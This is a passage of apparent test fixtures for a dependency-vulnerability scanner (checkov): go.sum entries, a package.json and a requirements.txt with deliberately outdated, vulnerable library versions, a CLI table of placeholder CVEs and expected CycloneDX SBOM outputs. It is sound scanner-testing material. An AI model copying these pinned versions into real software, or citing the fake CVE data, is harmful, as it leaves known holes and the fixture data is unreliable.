v0.18.6/go.mod h1:OaXp26zu/5J7p0f92ASynJa1pZo06YlV9fG7BoWbCko=\nk8s.io/client-go v0.17.6/go.mod h1:tX5eAbQR/Kbqv+5R93rzHQoyRnPjjW2mm9i0lXnW218=\nk8s.io/code-generator v0.17.6/go.mod h1:iiHz51+oTx+Z9D0vB3CH3O4HDDPWrvZyUgUYaIE9h9M=\nk8s.io/gengo v0.0.0-20190128074634-0689ccc1d7d6/go.mod h1:ezvh/TsK7cY6rbqRK0oQQ8IAqLxYwwyPxAX1Pzy0ii0=\nk8s.io/gengo v0.0.0-20190822140433-26a664648505/go.mod h1:ezvh/TsK7cY6rbqRK0oQQ8IAqLxYwwyPxAX1Pzy0ii0=\nk8s.io/klog v0.0.0-20181102134211-b9b56d5dfc92/go.mod h1:Gq+BEi5rUBO/HRz0bTSXDUcqjScdoY3a9IHpCEIOOfk=\nk8s.io/klog v0.3.0/go.mod h1:Gq+BEi5rUBO/HRz0bTSXDUcqjScdoY3a9IHpCEIOOfk=\nk8s.io/klog v1.0.0 h1:Pt+yjF5aB1xDSVbau4VsWe+dQNzA0qv1LlXdC2dF6Q8=\nk8s.io/klog v1.0.0/go.mod h1:4Bi6QPql/J/LkTDqv7R/cd3hPo4k2DG6Ptcz060Ez5I=\nk8s.io/kube-openapi v0.0.0-20200410145947-61e04a5be9a6/go.mod h1:GRQhZsXIAJ1xR0C9bd8UpWHZ5plfAS9fzPjJuQ6JL3E=\nk8s.io/kube-openapi v0.0.0-20200410145947-bcb3869e6f29/go.mod h1:F+5wygcW0wmRTnM3cOgIqGivxkwSWIWT5YdsDbeAOaU=\nk8s.io/utils v0.0.0-20191114184206-e782cd3c129f/go.mod h1:sZAwmy6armz5eXlNoLmJcl4F1QuKu7sr+mFQ0byX7Ew=\nlayeh.com/gopher-json v0.0.0-20190114024228-97fed8db8427 h1:RZkKxMR3jbQxdCEcglq3j7wY3PRJIopAwBlx1RE71X0=\nlayeh.com/gopher-json v0.0.0-20190114024228-97fed8db8427/go.mod h1:ivKkcY8Zxw5ba0jldhZCYYQfGdb2K6u9tbYK1AwMIBc=\nmodernc.org/cc v1.0.0/go.mod h1:1Sk4//wdnYJiUIxnW8ddKpaOJCF37yAdqYnkxUpaYxw=\nmodernc.org/golex v1.0.0/go.mod h1:b/QX9oBD/LhixY6NDh+IdGv17hgB+51fET1i2kPSmvk=\nmodernc.org/mathutil v1.0.0/go.mod h1:wU0vUrJsVWBZ4P6e7xtFJEhFSNsfRLJ8H458uRjg03k=\nmodernc.org/strutil v1.0.0/go.mod h1:lstksw84oURvj9y3tn8lGvRxyRC1S2+g5uuIzNfIOBs=\nmodernc.org/xc v1.0.0/go.mod h1:mRNCo0bvLjGhHO9WsyuKVU4q0ceiDDDoEeWDJHrNx8I=\nsigs.k8s.io/structured-merge-diff/v2 v2.0.1/go.mod h1:Wb7vfKAodbKgf6tn1Kl0VvGj7mRH6DGaRcixXEJXTsE=\nsigs.k8s.io/structured-merge-diff/v3 v3.0.0-20200116222232-67a7b8c61874/go.mod h1:PlARxl6Hbt/+BC80dRLi1qAmnMqwqDg62YvvVkZjemw=\nsigs.k8s.io/structured-merge-diff/v3 v3.0.0 h1:dOmIZBMfhcHS09XZkMyUgkq5trg3/jRyJYFZUiaOp8E=\nsigs.k8s.io/structured-merge-diff/v3 v3.0.0/go.mod h1:PlARxl6Hbt/+BC80dRLi1qAmnMqwqDg62YvvVkZjemw=\nsigs.k8s.io/yaml v1.1.0/go.mod h1:UJmg0vDUVViEyp3mgSv9WPwZCDxu4rQW1olrI1uml+o=\nsigs.k8s.io/yaml v1.2.0 h1:kr/MCeFWJWTwyaHoR9c8EjH9OumOmoF9YGiZd7lFm/Q=\nsigs.k8s.io/yaml v1.2.0/go.mod h1:yfXDCHCao9+ENCvLSE62v9VSji2MKu5jeNfTrofGhJc=\n"
  },
  {
    "path": "tests/sca_package_2/examples/package.json",
    "content": "{\n  \"name\": \"angular-srcs\",\n  \"version\": \"13.1.0-next.0\",\n  \"private\": true,\n  \"description\": \"Angular - a web framework for modern web apps\",\n  \"homepage\": \"https://github.com/angular/angular\",\n  \"bugs\": \"https://github.com/angular/angular/issues\",\n  \"license\": \"MIT\",\n  \"//engines-comment\": \"Keep this in sync with /aio/package.json and /aio/tools/examples/shared/package.json\",\n  \"engines\": {\n    \"node\": \"^12.20.0 || ^14.15.0 || >=16.10.0\",\n    \"yarn\": \">=1.22.4 <2\",\n    \"npm\": \"Please use yarn instead of NPM to install dependencies\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/angular/angular.git\"\n  },\n  \"scripts\": {\n    \"test\": \"bazelisk test --build_tag_filters=-view-engine-only --test_tag_filters=-view-engine-only\"\n  },\n  \"dependencies\": {\n    \"express\": \"3.0.0\",\n    \"lodash\": \"3.1.0\"\n  }\n}\n"
  },
  {
    "path": "tests/sca_package_2/examples/requirements.txt",
    "content": "# checkov:skip=CVE-2016-6186: ignore it\ndjango==1.2\nflask==0.6\nrequests==2.26.0\n"
  },
  {
    "path": "tests/sca_package_2/outputs/cli_outputs/test_create_cli_table_for_package_with_reachability_data.txt",
    "content": "\t/requirements.txt - CVEs Summary:\n\t┌──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┐\n\t│ Total CVEs: 4        │ critical: 1          │ high: 0              │ medium: 3            │ low: 0               │ skipped: 0           │ Total Packages Used: │\n\t│                      │                      │                      │                      │                      │                      │ 3                    │\n\t├──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┤\n\t│ To fix 1/4 CVEs, go to your Prisma Cloud account                                                                                                               │\n\t├──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┬──────────────────────┤\n\t│ Package              │ CVE ID               │ Severity             │ Current version      │ Root fixed version   │ Compliant version    │ Reachability         │\n\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n\t│ package1             │ CVE-FAKE-111         │ CRITICAL             │ 1.1.1                │ 1.11.27              │ 1.11.27              │                      │\n\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n\t│ package2             │ CVE-FAKE-222         │ MEDIUM               │ 2.2.2                │ N/A                  │ N/A                  │ Package Used         │\n\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n\t│ package3             │ CVE-FAKE-333         │ MEDIUM               │ 3.3.3                │ N/A                  │ N/A                  │ Reachable Function   │\n\t├──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┼──────────────────────┤\n\t│ package4             │ CVE-FAKE-444         │ MEDIUM               │ 4.4.4                │ N/A                  │ N/A                  │ Reachable Function   │\n\t└──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┴──────────────────────┘\n"
  },
  {
    "path": "tests/sca_package_2/outputs/results_cyclonedx_1_0.xml",
    "content": "<?xml version=\"1.0\" ?>\n<bom xmlns=\"http://cyclonedx.org/schema/bom/1.0\" version=\"1\">\n\t<components>\n\t\t<component type=\"library\">\n\t\t\t<name>django</name>\n\t\t\t<version>1.2</version>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2</purl>\n\t\t\t<modified>false</modified>\n\t\t</component>\n\t\t<component type=\"library\">\n\t\t\t<name>flask</name>\n\t\t\t<version>0.6</version>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6</purl>\n\t\t\t<modified>false</modified>\n\t\t</component>\n\t\t<component type=\"library\">\n\t\t\t<name>github.com/dgrijalva/jwt-go</name>\n\t\t\t<version>v3.2.0</version>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0</purl>\n\t\t\t<modified>false</modified>\n\t\t</component>\n\t\t<component type=\"library\">\n\t\t\t<name>github.com/miekg/dns</name>\n\t\t\t<version>v1.1.41</version>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41</purl>\n\t\t\t<modified>false</modified>\n\t\t</component>\n\t\t<component type=\"library\">\n\t\t\t<name>github.com/prometheus/client_model</name>\n\t\t\t<version>v0.0.0-20190129233127-fd36f4220a90</version>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90</purl>\n\t\t\t<modified>false</modified>\n\t\t</component>\n\t\t<component type=\"library\">\n\t\t\t<name>golang.org/x/crypto</name>\n\t\t\t<version>v0.0.1</version>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1</purl>\n\t\t\t<modified>false</modified>\n\t\t</component>\n\t\t<component type=\"library\">\n\t\t\t<name>requests</name>\n\t\t\t<version>2.26.0</version>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0</purl>\n\t\t\t<modified>false</modified>\n\t\t</component>\n\t\t<component type=\"library\">\n\t\t\t<name>requests</name>\n\t\t\t<version>2.26.0</version>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0</purl>\n\t\t\t<modified>false</modified>\n\t\t</component>\n\t</components>\n</bom>\n"
  },
  {
    "path": "tests/sca_package_2/outputs/results_cyclonedx_1_1.xml",
    "content": "<?xml version=\"1.0\" ?>\n<bom xmlns=\"http://cyclonedx.org/schema/bom/1.1\" serialNumber=\"urn:uuid:46cc45b0-e8a1-424e-b82c-9571999dbfe6\" version=\"1\">\n\t<components>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2\">\n\t\t\t<name>django</name>\n\t\t\t<version>1.2</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_BDS</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6\">\n\t\t\t<name>flask</name>\n\t\t\t<version>0.6</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>DUMMY_OTHER_LICENSE</name>\n\t\t\t\t</license>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0\">\n\t\t\t<name>github.com/dgrijalva/jwt-go</name>\n\t\t\t<version>v3.2.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41\">\n\t\t\t<name>github.com/miekg/dns</name>\n\t\t\t<version>v1.1.41</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90\">\n\t\t\t<name>github.com/prometheus/client_model</name>\n\t\t\t<version>v0.0.0-20190129233127-fd36f4220a90</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1\">\n\t\t\t<name>golang.org/x/crypto</name>\n\t\t\t<version>v0.0.1</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0\">\n\t\t\t<name>requests</name>\n\t\t\t<version>2.26.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0\">\n\t\t\t<name>requests</name>\n\t\t\t<version>2.26.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0</purl>\n\t\t</component>\n\t</components>\n</bom>\n"
  },
  {
    "path": "tests/sca_package_2/outputs/results_cyclonedx_1_2.xml",
    "content": "<?xml version=\"1.0\" ?>\n<bom xmlns=\"http://cyclonedx.org/schema/bom/1.2\" serialNumber=\"urn:uuid:bb17efa1-1035-44d6-8ca9-f7c2fec09f9f\" version=\"1\">\n\t<metadata>\n\t\t<timestamp>2025-02-05T09:31:56.644237+00:00</timestamp>\n\t\t<tools>\n\t\t\t<tool>\n\t\t\t\t<vendor>CycloneDX</vendor>\n\t\t\t\t<name>cyclonedx-python-lib</name>\n\t\t\t\t<version>7.6.2</version>\n\t\t\t</tool>\n\t\t\t<tool>\n\t\t\t\t<vendor>bridgecrew</vendor>\n\t\t\t\t<name>checkov</name>\n\t\t\t\t<version>UNKNOWN</version>\n\t\t\t</tool>\n\t\t</tools>\n\t</metadata>\n\t<components>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2\">\n\t\t\t<name>django</name>\n\t\t\t<version>1.2</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_BDS</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6\">\n\t\t\t<name>flask</name>\n\t\t\t<version>0.6</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>DUMMY_OTHER_LICENSE</name>\n\t\t\t\t</license>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0\">\n\t\t\t<name>github.com/dgrijalva/jwt-go</name>\n\t\t\t<version>v3.2.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41\">\n\t\t\t<name>github.com/miekg/dns</name>\n\t\t\t<version>v1.1.41</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90\">\n\t\t\t<name>github.com/prometheus/client_model</name>\n\t\t\t<version>v0.0.0-20190129233127-fd36f4220a90</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1\">\n\t\t\t<name>golang.org/x/crypto</name>\n\t\t\t<version>v0.0.1</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0\">\n\t\t\t<name>requests</name>\n\t\t\t<version>2.26.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0\">\n\t\t\t<name>requests</name>\n\t\t\t<version>2.26.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0</purl>\n\t\t</component>\n\t</components>\n\t<dependencies>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0\"/>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41\"/>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90\"/>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0\"/>\n\t</dependencies>\n</bom>\n"
  },
  {
    "path": "tests/sca_package_2/outputs/results_cyclonedx_1_3.xml",
    "content": "<?xml version=\"1.0\" ?>\n<bom xmlns=\"http://cyclonedx.org/schema/bom/1.3\" serialNumber=\"urn:uuid:23b87421-8abf-4361-bcb7-b64667dbd399\" version=\"1\">\n\t<metadata>\n\t\t<timestamp>2025-02-05T09:32:16.848085+00:00</timestamp>\n\t\t<tools>\n\t\t\t<tool>\n\t\t\t\t<vendor>CycloneDX</vendor>\n\t\t\t\t<name>cyclonedx-python-lib</name>\n\t\t\t\t<version>7.6.2</version>\n\t\t\t</tool>\n\t\t\t<tool>\n\t\t\t\t<vendor>bridgecrew</vendor>\n\t\t\t\t<name>checkov</name>\n\t\t\t\t<version>UNKNOWN</version>\n\t\t\t</tool>\n\t\t</tools>\n\t</metadata>\n\t<components>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2\">\n\t\t\t<name>django</name>\n\t\t\t<version>1.2</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_BDS</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6\">\n\t\t\t<name>flask</name>\n\t\t\t<version>0.6</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>DUMMY_OTHER_LICENSE</name>\n\t\t\t\t</license>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0\">\n\t\t\t<name>github.com/dgrijalva/jwt-go</name>\n\t\t\t<version>v3.2.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41\">\n\t\t\t<name>github.com/miekg/dns</name>\n\t\t\t<version>v1.1.41</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90\">\n\t\t\t<name>github.com/prometheus/client_model</name>\n\t\t\t<version>v0.0.0-20190129233127-fd36f4220a90</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1\">\n\t\t\t<name>golang.org/x/crypto</name>\n\t\t\t<version>v0.0.1</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>Unknown</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0\">\n\t\t\t<name>requests</name>\n\t\t\t<version>2.26.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0</purl>\n\t\t</component>\n\t\t<component type=\"library\" bom-ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0\">\n\t\t\t<name>requests</name>\n\t\t\t<version>2.26.0</version>\n\t\t\t<licenses>\n\t\t\t\t<license>\n\t\t\t\t\t<name>OSI_APACHE</name>\n\t\t\t\t</license>\n\t\t\t</licenses>\n\t\t\t<purl>pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0</purl>\n\t\t</component>\n\t</components>\n\t<dependencies>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/dgrijalva/jwt-go@v3.2.0\"/>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/miekg/dns@v1.1.41\"/>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/github.com/prometheus/client_model@v0.0.0-20190129233127-fd36f4220a90\"/>\n\t\t<dependency ref=\"pkg:golang/bridgecrewio/example/path/to/go.sum/golang.org/x/crypto@v0.0.1\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/path/to/sub/requirements.txt/requests@2.26.0\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/django@1.2\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/flask@0.6\"/>\n\t\t<dependency ref=\"pkg:pypi/bridgecrewio/example/requirements.txt/requests@2.26.0\"/>\n\t</dependencies>\n</bom>\n"
  },
  {
    "path": "tests/sca_package_2/outputs/results_cyclonedx_1_4.xml",
    "content": "<?xml version=\"1.0\" ?>\n<bom xmlns=\"http://cyclonedx.org/schema/bom/1.4\" serialNumber=\"urn:uuid:197dad5b-8ee0-434d-b64d-277fa165eb63\" version=\"1\">\n\t<metadata>\n\t\t<timestamp>2025-02-05T09:32:30.309106+00:00</timestamp>\n\t\t<tools>\n\t\t\t<tool>\n\t\t\t\t<vendor>CycloneDX</vendor>\n\t\t\t\t<name>cyclonedx-python-lib</name>\n\t\t\t\t<version>7.6.2</version>\n\t\t\t\t<externalReferences>\n\t\t\t\t\t<reference type=\"build-system\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/actions</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"distribution\">\n\t\t\t\t\t\t<url>https://pypi.org/project/cyclonedx-python-lib/</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"documentation\">\n\t\t\t\t\t\t<url>https://cyclonedx-python-library.readthedocs.io/</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"issue-tracker\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/issues</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"license\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/LICENSE</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"release-notes\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/blob/main/CHANGELOG.md</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"vcs\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"website\">\n\t\t\t\t\t\t<url>https://github.com/CycloneDX/cyclonedx-python-lib/#readme</url>\n\t\t\t\t\t</reference>\n\t\t\t\t</externalReferences>\n\t\t\t</tool>\n\t\t\t<tool>\n\t\t\t\t<vendor>bridgecrew</vendor>\n\t\t\t\t<name>checkov</name>\n\t\t\t\t<version>UNKNOWN</version>\n\t\t\t\t<externalReferences>\n\t\t\t\t\t<reference type=\"build-system\">\n\t\t\t\t\t\t<url>https://github.com/bridgecrewio/checkov/actions</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"distribution\">\n\t\t\t\t\t\t<url>https://pypi.org/project/checkov/</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"documentation\">\n\t\t\t\t\t\t<url>https://www.checkov.io/1.Welcome/What%20is%20Checkov.html</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"issue-tracker\">\n\t\t\t\t\t\t<url>https://github.com/bridgecrewio/checkov/issues</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"license\">\n\t\t\t\t\t\t<url>https://github.com/bridgecrewio/checkov/blob/master/LICENSE</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"social\">\n\t\t\t\t\t\t<url>https://twitter.com/bridgecrewio</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"vcs\">\n\t\t\t\t\t\t<url>https://github.com/bridgecrewio/checkov</url>\n\t\t\t\t\t</reference>\n\t\t\t\t\t<reference type=\"website\">\n\t\t\t\t\t\t<url>https://www.checkov.io/</url>\n\t\t\t\t\t</reference>\n\t\t\t\t</externalReferences>\n\t\t\t</tool>\n\t\t</tools>\n\t</metadata>\n\t<components>\n\t\t<component type=\"library\" 